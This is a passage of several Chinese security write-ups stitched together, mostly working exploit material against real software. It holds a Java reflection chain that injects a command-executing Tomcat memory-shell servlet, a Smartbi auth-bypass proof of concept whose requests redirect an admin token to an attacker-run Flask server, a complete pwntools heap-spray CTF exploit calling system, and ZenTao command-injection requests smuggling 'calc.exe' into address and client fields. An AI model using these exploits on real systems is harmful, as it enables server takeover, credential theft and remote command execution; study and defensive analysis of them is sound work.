Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
获取this$0
获取方法以及原因同上
/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*获取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
/*获取this$0*/
Field this$0Field = target.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
Object this$0 = this$0Field.get(target);
获取handler
这里我们直接同上方法会报错,我们用Class.forName去指定包来获取看看
我们却发现还是报错了,报错提示并不存在handler这个字段
我们直接从依赖中看,AbstractProtocol确实不存在handler,但是存在handler数据类型,并且这个数据类型是来自org.apache.tomcat.util.net.AbstractEndpoint.Handler
我们直接尝试从这个包获取handler,发现获取成功
/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*获取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
/*获取this$0*/
Field this$0Field = target.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
Object this$0 = this$0Field.get(target);
/*获取handler*/
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(this$0);
获取global
在获取到handler之后直接通过getClass获取即可
/*获取group*/Thread thread = Thread.currentThread();Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");groupField.setAccessible(true);ThreadGroup group = (ThreadGroup)groupField.get(thread);/*获取threads*/Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclared
回显链最终代码
/*获取group*/Thread thread = Thread.currentThread();Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");groupField.setAccessible(true);ThreadGroup group = (ThreadGroup)groupField.get(thread);/*获取threads*/Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclared
结合内存马
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.coyote.RequestGroupInfo;
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;
public class exp extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");
String cmd = request.getParameter("cmd");
PrintWriter out = response.getWriter();
try {
Process ps = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
String result = sb.toString();
out.print(result);
} catch (Exception e) {
e.printStackTrace();
}
}
static {
try {
Thread thread = Thread.currentThread();
Field group = Class.forName("java.lang.Thread").getDeclaredField("group");
group.setAccessible(true);
ThreadGroup threadGroup = (ThreadGroup) group.get(thread);
Field threads = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threads.setAccessible(true);
Thread[] thread1 = (Thread[]) threads.get(threadGroup);
Thread t17 = thread1[17];
Field targetField = Class.forName("java.lang.Thread").getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
Field this$0Field = target.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
Object this$0 = this$0Field.get(target);
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(this$0);
Field globalField = handler.getClass().getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);
Field processorsField = global.getClass().getDeclaredField("processors");
processorsField.setAccessible(true);
ArrayList processors = (ArrayList) processorsField.get(global);
Object r0 = processors.get(0);
Field reqField = r0.getClass().getDeclaredField("req");
reqField.setAccessible(true);
org.apache.coyote.Request req = (org.apache.coyote.Request) reqField.get(r0);
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");//获取servletContext中的context属性
applicationContextField.setAccessible(true);//设置该属性可访问性为True
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);//通过反射获取applicationContextField中context的值
Field standarContextField = applicationContext.getClass().getDeclaredField("context");//获取context属性值
standarContextField.setAccessible(true);//设置该属性可访问性为True
StandardContext context = (StandardContext) standarContextField.get(applicationContext);//通过反射获取context的值也就是StandardContext
//注册Servlet
Wrapper wrapper = context.createWrapper();//创建一个Wrapper
wrapper.setName("MemShellServlet");//设置Servlet名字
wrapper.setServletClass(exp.class.getName());
wrapper.setServlet(new exp());//实例化Servlet并设置对象为该Servlet
context.addChild(wrapper);//添加进Context
context.addServletMappingDecoded("/memoryshell","MemShellServlet");//注册Mapping
} catch (Exception e) {
}
}
}
使用哥斯拉木马注入Tomcat Servlet内存马
在tomcat中运行上述代码可以在网站WEB-INF/classes/exp.class生成class,我们根据前面构造的EXP生成的base64,(注意需要url编码)
需要访问两次才能触发
成功注入内存马
smartbi token回调获取登录凭证漏洞(二)
2023年8月8日Smartbi官方又修复了一处权限绕过漏洞。该漏洞是上一个特定场景下设置Token回调地址漏洞的绕过,未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。 于是研究了下相关补丁并进行分析。
0x01 分析过程
阅读相关补丁,可知此次漏洞与/smartbix/api/monitor/setAddress有关
是上一个漏洞的绕过,是发现了/smartbix/api/monitor/setAddress接口可以未授权设置SERVICE_ADDRESS、ENGINE_ADDRESS,只不过多了一步DES解密的过程(这个上次看的时候就发现了,但是由于将c_address、和u_address看成同一个了以为不能利用,只能说很多师傅都在看smartbi,只要一有新的洞,绕过很快就出来了)
查看CommonUtil.desDecode方法,其实也只是进行DES解密,密钥为isPassword
故只需要按照该算法进行加密恶意参数就可以设置SERVICE_ADDRESS、ENGINE_ADDRESS为伪造服务器地址,用于接收token
0x02 分析结果
第一步,获取之前的EngineAddress
首先通过/smartbi/smartbix/api/monitor/engineInfo/接口获取之前的engineAddress、serviceAddress这是因为要进行修改设置,需要提供之前的地址
POST /smartbi/smartbix/api/monitor/engineInfo/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 4
第二步,设置EngineAddress为攻击者机器上的伪造http服务地址
通过/smartbi/smartbix/api/monitor/setAddress/接口设置engineAddress为fake server地址该接口的参数需要进行DES加密,参数明文为
{
"type": "experiment",
"c_address": "http://10X.0.0.1:8010",
"u_address": "http://10x.0.0.55:8000"
}
c_address填写上述第一步获取得到的engineAddress,加密得到密文, u_address设置为新的engineAddress,可以理解为用于接收token的fake server地址,此处设置为http://10x.0.0.55:8000,这个是一个用flask搭建的fake server,上面只注册了/api/v1/configs/engine/smartbitoken路由
from flask import Flask,jsonify,request
app = Flask(__name__)
@app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"])
def hello():
print(request.json)
return jsonify(hi="jello")
if __name__ == "__main__":
app.run(host="0.0.0.0",port=8000)
POST /smartbi/smartbix/api/monitor/setAddress/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 208
312E8684378EBDFF7E798B0BCCC45588EF682890F6F1701AF9D9416B4E357E80A1E8622D15B57E607DBBA3017ECED7C2CA66C54FD4D13B5C1F284652B5D82487F9D9416B4E357E80A1E8622D15B57E60A18C8967740045322142EE017FD0F4E9559184E27B9F8372
从响应来看返回true,即修改成功
第三步,触发smartbi向刚刚设置的EngineAddress外发token
POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 10
experiment
发送相关请求后,即可在我们的fake server上面看到了携带token的请求
第四步,使用上面获取的token进行登录
POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 47
admin_xxxxxxxxxxxxxxxxx84f50082
返回true表示登录成功,其中的cookie就是admin账户的合法凭证
从2023蓝帽杯0解题heapSpary入门堆喷
关于堆喷
堆喷射(Heap Spraying)是一种计算机安全攻击技术,它旨在在进程的堆中创建多个包含恶意负载的内存块。这种技术允许攻击者避免需要知道负载确切的内存地址,因为通过广泛地“喷射”堆,攻击者可以提高恶意负载被成功执行的机会。
这种技术尤其用于绕过地址空间布局随机化(ASLR)和其他内存保护机制。对于利用浏览器和其他客户端应用程序的漏洞特别有效。
前言
此题为2023年蓝帽杯初赛0解pwn题,比赛的时候是下午放出的,很难在赛点完成该题,算是比较高难度的题,他的题目核心思想确实和题目名字一样,堆喷,大量的随机化和滑板指令思想,在赛后一天后完成了攻破。此题,不是因为0解我才觉得他有意义,是因为他的堆喷思想和实际在工作中的二进制利用是很贴合的,确实第一次打这种题。
题目分析
checksec
❯ checksec main
[*] '/root/P-W-N/bulue/main'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开,很常规。
这个题其实要是能迅速静态分析完,其实也能很快出,也算是给我上了一课,要是我的好大儿GXH在,估计是可以在比赛中成为唯一解的。
先来看整个程序是去了符号表,我们先在start那定位main函数,__libc_start_main第一个参数就是main函数地址
// positive sp value has been detected, the output may be wrong!
void __usercall __noreturn start(int a1@<eax>, void (*a2)(void)@<edx>)
{
int v2; // esi
int v3; // [esp-4h] [ebp-4h] BYREF
char *retaddr; // [esp+0h] [ebp+0h] BYREF
v2 = v3;
v3 = a1;
__libc_start_main(
(int (__cdecl *)(int, char **, char **))sub_1D64,
v2,
&retaddr,
(void (*)(void))sub_1D90,
(void (*)(void))sub_1E00,
a2,
&v3);
__halt();
}
这个main没什么好看的,快进到初始化和菜单
初始化如下
unsigned int sub_134D()
{
unsigned int result; // eax
unsigned int buf; // [esp+0h] [ebp-18h] BYREF
int fd; // [esp+4h] [ebp-14h]
int v3; // [esp+8h] [ebp-10h]
unsigned int v4; // [esp+Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
fd = open("/dev/urandom", 0);
if ( fd < 0 || read(fd, &buf, 4u) < 0 )
exit(0);
close(fd);
srand(buf);
v3 = rand();
malloc(4 * (v3 % 1638));
result = __readgsdword(0x14u) ^ v4;
if ( result )
sub_1E10();
return result;
}
初始化影响不是很大,就是建了个随机大小的chunk,但是因为后续是不释放这个chunk其实没什么影响。
来看菜单,4是不存在的虚空功能
int sub_15E4()
{
puts("========Welcome to new heap game========");
puts("1. Create Heap.");
puts("2. Show Heap.");
puts("3. Delete Heap.");
puts("4. Change Heap.");
puts("5. Action.");
puts("6. Exit.");
return printf("Please give me your choose : ");
}
我们直接来先看看后门函数5
int sub_1C14()
{
int result; // eax
unsigned int v1; // [esp+Ch] [ebp-1Ch]
int v2; // [esp+10h] [ebp-18h]
printf("Please input heap index : ");
v1 = sub_1461();
if ( v1 > 0xFFF || !dword_4060[2 * v1] )
return puts("Error happened.");
v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1];
if ( !**(_DWORD **)v2 )
return (*(int (__cdecl **)(const char *))(*(_DWORD *)v2 + 4))("cat flag");
result = *(_DWORD *)v2;
--**(_DWORD **)v2;
return result;
}
关于地址0x4060这个地方前面存的是堆的地址,后面是堆的大小,堆数量上限在0xFFF。
来看看v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1];
这个就是取堆地址然堆地址加堆大小(可控输入任意值)然后赋值到v2,比如
0x565a1060: 0x57aebf90 0x00000100
得到的就是0x57aec090
然后对0x57aec090里面存放的地址进行一个内存检测操作,如果前4位为0就执行后门,取0x57aec090内的地址的内存的后四位进行指针函数调用。此时链表如下
0x57aec090 —▸ 0x57aeb300 ◂— 0x0
0x57aeb300内存如下(0xf7d99781为system地址)
pwndbg> x/32wx 0x57aeb300
0x57aeb300: 0x00000000 0xf7d99781 0x00000000 0xf7d99781
分析完后门了,我们去看看add功能。可以看见是非常的长的,然后重点在于Switch选择和sub_14BA函数
_DWORD *sub_1690()
{
_DWORD *result; // eax
int i; // [esp+4h] [ebp-34h]
int k; // [esp+8h] [ebp-30h]
int j; // [esp+Ch] [ebp-2Ch]
int m; // [esp+10h] [ebp-28h]
int v5; // [esp+14h] [ebp-24h]
int v6; // [esp+18h] [ebp-20h]
int v7; // [esp+1Ch] [ebp-1Ch]
for ( i = 0; i <= 254 && dword_4060[i * dword_400C * dword_4008]; ++i )
;
if ( (int *)i == off_4010 )
return (_DWORD *)puts("Ooops! Here is no space for you.");
printf("How much space do you need : ");
v5 = sub_1461();
if ( v5 <= 0 || v5 > 0x20000 )
return (_DWORD *)printf("Ooops! I can't allocate these spaces to you.");
for ( j = 0; j <= 15; ++j )
{
for ( k = rand() % 16; dword_4060[dword_4008 * (k + i * dword_400C)]; k = (k + 1) % 16 )
;
dword_4060[dword_4008 * (k + i * dword_400C)] = malloc(v5 + 4);
dword_4060[(k + i * dword_400C) * dword_4008 + 1] = v5;
if ( !dword_4060[dword_4008 * (k + i * dword_400C)] )
{
puts("Ooops! Some error happened.");
exit(-1);
}
}
for ( m = 0; m <= 15; ++m )
{
puts("Please input your head data.");
sub_14BA((char *)dword_4060[dword_4008 * (m + i * dword_400C)], dword_4060[(m + i * dword_400C) * dword_4008 + 1]);
puts("Which flag do you want?");
v6 = sub_1461();
v7 = dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)];
switch ( v6 )
{
case 1:
*(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8;
*(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24;
break;
case 2:
*(_BYTE *)v7 = (unsigned __int8)sub_1557 - 16284 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(v7 + 1) = (unsigned int)sub_1557 >> 8;
*(_BYTE *)(v7 + 3) = (unsigned int)sub_1557 >> 24;
break;
case 3:
*(_BYTE *)v7 = (unsigned __int8)sub_1586 - 16284 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(v7 + 1) = (unsigned int)sub_1586 >> 8;
*(_BYTE *)(v7 + 3) = (unsigned int)sub_1586 >> 24;
break;
case 4:
*(_BYTE *)v7 = (unsigned __int8)sub_15B5 - 16284 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(v7 + 1) = (unsigned int)sub_15B5 >> 8;
*(_BYTE *)(v7 + 3) = (unsigned int)sub_15B5 >> 24;
break;
}
}
printf("Heap create from : %d to %d\n", 16 * i, 16 * (i + 1) - 1);
result = dword_4040;
dword_4040[0] = i;
return result;
}
我们先看看sub_14BA函数,可以看见逻辑是无限读入,存在堆溢出,后续堆喷滑动要用上。在输入的最后末尾都会变成0截断符,相当于带有一个off by null,但是这里也用不上的,核心在于堆块bin构造,要非常熟悉bin的回收机制,还有利用好下面的Switch选择来把0截断给绕过。
int __cdecl sub_14BA(char *buf, int a2)
{
while ( a2 )
{
if ( read(0, buf, 1u) != 1 )
exit(-1);
if ( *buf == 10 )
{
*buf = 0;
break;
}
++buf;
}
*buf = 0;
return 0;
}
我们来继续看这个Switch选择,其实4个选项都是差不多的只是返回值的地址不一样而已,调一个就好了。
他会对所有的在0x4060上的chunk都进行赋值操作,我们先重点关注下v7的取值
dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)];
可以看见v7的取值一样是堆的起始地址加上我们的大小,注意注意,这个大小是我们自己输入的,也就是可以打1,2,3.....
如果是这样的话比如我们的起始地址是0x100,大小是输入了1,内容输入的是a,那么经过下面的case 1操作
case 1:
*(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8;
*(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24;
就会得到内容如下(此处字节码只做替代作用,非真实情况)
0x100:a
0x101:\x01
0x102:\x02
0x103:\x03
0x104:\x04 (本应是libc or heap 但是由于v7取的是起始地址加大小刚好覆盖了一位地址,但是无所谓,低三位随便盖)
0x105:libc or heap
0x106:libc or heap
0x107:libc or heap
要是不去调用这4个case中的任一一个,就会变成如下,最后就会因为之前的溢出读入函数导致末尾强行加上了截断符
0x100:a
0x101:\x00
0x102:libc or heap
..................
也就是说,只要把握好一个堆块的BK指针存储上堆地址或者libc地址就能通过申请的时候申请大小为1的堆块(实际为0x10)来绕过0截断,进而泄露地址。
对于这个chunk 构造,我是直接选择了非常暴力的操作,因为他一次性add操作会直接申请16个chunk,free的时候是全free。
所以泄露操作的exp如下,直接破坏他们的链表
create_heap(0xa0, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(0x60, b'1','data',4)
create_heap(1, b'1','data',4)
delete_heap()
delete_heap()
delete_heap()
delete_heap()
create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)
bin如下
pwndbg> bin
tcachebins
0x10 [ 7]: 0x579aeaf0 —▸ 0x579aeae0 —▸ 0x579aeab0 —▸ 0x579aead0 —▸ 0x579aeaa0 —▸ 0x579aea70 —▸ 0x579aea60 ◂— 0x0
0x70 [ 7]: 0x579ae5e0 —▸ 0x579ae880 —▸ 0x579ae810 —▸ 0x579ae7a0 —▸ 0x579ae730 —▸ 0x579ae570 —▸ 0x579ae500 ◂— 0x0
0xb0 [ 7]: 0x579aded0 —▸ 0x579adb60 —▸ 0x579ada00 —▸ 0x579ad950 —▸ 0x579ad740 —▸ 0x579ad8a0 —▸ 0x579ae030 ◂— 0x0
fastbins
0x10: 0x579ae288 —▸ 0x579ae258 —▸ 0x579ae248 —▸ 0x579ae238 —▸ 0x579ae328 ◂— ...
unsortedbin
all [corrupted]
FD: 0x579ae0d8 —▸ 0x579adf78 —▸ 0x579adc08 —▸ 0x579adaa8 —▸ 0x579ad7e8 ◂— ...
BK: 0x579ae8e8 —▸ 0x579ae338 —▸ 0x579ae648 —▸ 0x579ad7e8 —▸ 0x579adaa8 ◂— ...
smallbins
empty
largebins
empty
pwndbg>
此时就会出现如下的神仙堆块,这就是我们要的最完美的堆块
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x579ae8e8
Size: 0x151
fd: 0xf7f48778
bk: 0x579ae338
但是要明白一点,unsortedbin可不止这一个,而且他不是每次都一定处于链表的头部的,所以还要写一个全输出和筛选操作
# Assuming leak_all is defined as an empty list before this
leak_all = []
heap_addr = None
libc_base = None
for i in range(46):
leak = leak_libc(i)
if leak > 0x56000000:
leak_all.append(leak)
print(hex(leak))
# Assigning values to heap_addr and libc_base
if heap_addr is None and leak < 0xf7000000:
heap_addr = leak+0x1000-0x56
elif libc_base is None and leak > 0xf7000000:
libc_base = leak-0x1eb756
这样就可以稳定的获得libc,和一个堆地址。
然后经过内存调试发现,该堆地址在有一定概率在后续申请的堆块的下面,我们可以进行栈溢出覆盖该堆地址的内容,完成上面后门要求的条件。
所以,直接进行堆喷覆盖,index为0的chunk+0x100肯定在自己的下面,我们要考虑爆破的只有堆风水和上面泄露的heap_addr是不是也在index为0的chunk后面就行了,对于这个问题就交给运气吧,爆就完事了。
tips:(上面的堆风水是因为,他的add的时候用了random瞎赋值下标干扰程序增强随机化导致的,有时候链表不是我想的那么完美有可能踩值会踩不到 0x580e97a0 —▸ 0x580e8900 ◂— 0 ,会变成0x580e97a0 —▸ 0x580e8900 ◂— 0x580e8900 这就是因为堆风水导致padding不稳定,)
# Checking the assigned values
print("heap_addr:", hex(heap_addr))
print("libc_base:", hex(libc_base))
sys=libc_base+libc.sym['system']
pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000
create_heap(0x100, pay,pay,0)
p.sendlineafter("Please give me your choose : ", "5")
p.sendlineafter("Please input heap index : ", "0")
exp
from pwn import *
# 连接到题目提供的服务端
p = process('./main')
context.log_level='debug'
libc=ELF('/root/P-W-N/bulue/glibc-all-in-one/libs/2.31-0ubuntu9.9_i386/libc.so.6')
def create_heap(size, data,data2,flag):
p.sendlineafter("Please give me your choose : ", "1")
p.sendlineafter("How much space do you need : ", str(size))
p.sendlineafter("Please input your head data.", data)
p.sendlineafter("Which flag do you want?", str(flag))
for _ in range(15):
p.sendlineafter("Please input your head data.", data2)
p.sendlineafter("Which flag do you want?", str(flag))
def delete_heap():
p.sendlineafter("Please give me your choose : ", "3")
all_leak=[]
def leak_libc(idx):
p.sendlineafter("Please give me your choose : ", "2")
p.sendlineafter("Please input heap index : ", str(idx))
p.recvuntil("Heap information is ")
p.recv(4)
leak = u32(p.recv(4).ljust(4,b'\x00'))
return leak
gdb.attach(p,'b *$rebase(0x01C9E)')
#构建理想chunk,bk带有堆指针或libc指针,这种chunk可以批发的
create_heap(0xa0, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(0x60, b'1','data',4)
create_heap(1, b'1','data',4)
delete_heap()
delete_heap()
delete_heap()
delete_heap()
#申请小chunk 疯狂切割,直接一点点带出来
create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)
# Assuming leak_all is defined as an empty list before this
leak_all = []
heap_addr = None
libc_base = None
for i in range(46):
leak = leak_libc(i)
if leak > 0x56000000:
leak_all.append(leak)
print(hex(leak))
# Assigning values to heap_addr and libc_base
if heap_addr is None and leak < 0xf7000000:
heap_addr = leak+0x1000-0x56
elif libc_base is None and leak > 0xf7000000:
libc_base = leak-0x1eb756
delete_heap()
delete_heap()
delete_heap()
# Checking the assigned values
print("heap_addr:", hex(heap_addr))
print("libc_base:", hex(libc_base))
sys=libc_base+libc.sym['system']
#堆风水随缘padding,最后的p32(0)+p32(sys)是因为要满足后门格式,由于我们不可能得到具体的距离,只能用滑板思想批量填充滑动
pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000
create_heap(0x100, pay,pay,0)
p.sendlineafter("Please give me your choose : ", "5")
p.sendlineafter("Please input heap index : ", "0")
p.interactive()
禅道后台命令执行漏洞二
漏洞简介
禅道是第一款国产的开源项目管理软件。它集产品管理、项目管理、质量管理、文档管理、 组织管理和事务管理于一体,是一款专业的研发项目管理软件,完整地覆盖了项目管理的核心流程。 禅道管理思想注重实效,功能完备丰富,操作简洁高效,界面美观大方,搜索功能强大,统计报表丰富多样,软件架构合理,扩展灵活,有完善的 API 可以调用。
禅道后台存在 RCE 漏洞,存在于 V18.0-18.3 之间,经过复现分析,发现漏洞来源于新增加的一个功能模块。
环境搭建
源码下载地址 https://www.zentao.net/dl/zentao/18.2/ZenTaoPMS.18.2.php7.2_7.4.zip
利用 phpstudy 来进行环境的搭建
漏洞复现
登录后台后访问添加宿主机
在 ip 域名处 拼接恶意 payload 触发漏洞
POST /index.php?m=zahost&f=create HTTP/1.1
Host: test.test
Content-Length: 131
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Referer: http://test.test/index.php?m=zahost&f=create
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=bp9k0pcftu49b2ethm9f32hc5b; lang=zh-cn; device=desktop; theme=default; preExecutionID=1; moduleBrowseParam=0; productBrowseParam=0; executionTaskOrder=status%2Cid_desc; repoBranch=master; lastProduct=1; tab=qa; windowWidth=1440; windowHeight=722
Connection: close
vsoft=kvm&hostType=physical&name=test2&extranet=127.0.0.1%7Ccalc.exe&cpuCores=2&memory=1&diskSize=1&desc=&uid=64e46f386d9ea&type=za
漏洞分析
这是禅道新增加的一个功能
增加新功能的同时也带来了新的风险点
module/zahost/control.php#create
module/zahost/model.php#create
module/zahost/model.php#checkAddress
module/zahost/model.php#ping
整个漏洞触发流程在断点调试的过程中一目了然
POST /index.php?m=zahost&f=edit&hostID=1 HTTP/1.1
Host: test.test
Content-Length: 131
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Referer: http://test.test/index.php?m=zahost&f=create
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=bp9k0pcftu49b2ethm9f32hc5b; lang=zh-cn; device=desktop; theme=default; preExecutionID=1; moduleBrowseParam=0; productBrowseParam=0; executionTaskOrder=status%2Cid_desc; repoBranch=master; lastProduct=1; tab=qa; windowWidth=1440; windowHeight=722;XDEBUG_SESSION=PHPSTORM
Connection: close
vsoft=kvm&hostType=physical&name=test4&extranet=127.0.0.1%7Ccalc.exe&cpuCores=2&memory=1&diskSize=1&desc=&uid=64e46f386d9ea&type=za
这样也是可以触发的
model.php:119, zahostModel-\>ping()
model.php:149, zahostModel-\>checkAddress()
model.php:94, zahostModel-\>update()
control.php:130, zahost-\>edit()
router.class.php:2199, router-\>loadModule()
index.php:74, {main}()
修复建议
更新至最新版本
执行命令时对地址进行了校验
禅道后台命令执行漏洞
漏洞简介
禅道是第一款国产的开源项目管理软件。它集产品管理、项目管理、质量管理、文档管理、 组织管理和事务管理于一体,是一款专业的研发项目管理软件,完整地覆盖了项目管理的核心流程。 禅道管理思想注重实效,功能完备丰富,操作简洁高效,界面美观大方,搜索功能强大,统计报表丰富多样,软件架构合理,扩展灵活,有完善的 API 可以调用。
禅道后台存在 RCE 漏洞,均存在于历史版本,对这些漏洞进行复现分析。
环境搭建
源码下载地址 https://dl.cnezsoft.com/zentao/18.0.beta1/ZenTaoPMS.18.0.beta1.php7.2_7.4.zip
利用 phpstudy 来进行环境的搭建
漏洞复现
登录后台创建 GitLab 类型的代码库
点击 DevOps 模块的设置选项,修改创建的代码库
点击保存并抓取数据包
修改参数 SCM 和 client SCM 修改为 Subversion client 修改为 calc | echo "
触发了命令执行,执行了两次
####
漏洞分析
发现有一些分析文章中描述需要先创建一个代码仓库,也指出了创建代码仓库的原因,因为调用的是 edit 方法,所以要先 create
经过调试发现这是必须的,因为在没创建代码库时,执行 edit 方法,会提示跳转去创建代码库
module/repo/control.php#commonAction
所以需要先创建代码库
module/repo/control.php#create
module/repo/model.php#create
在创建代码库的时候有一个检查 Client 的操作 只有选择 Gitlab 才能不做客户端的检测操作,直接创建成功
module/repo/model.php#checkClient
创建成功后执行编辑操作触发漏洞
POST /index.php?m=repo&f=edit&repoID=0 HTTP/1.1
Host: test.test
Content-Length: 36
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Referer: http://test.test/index.php?m=repo&f=edit&repoID=1&objectID=0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
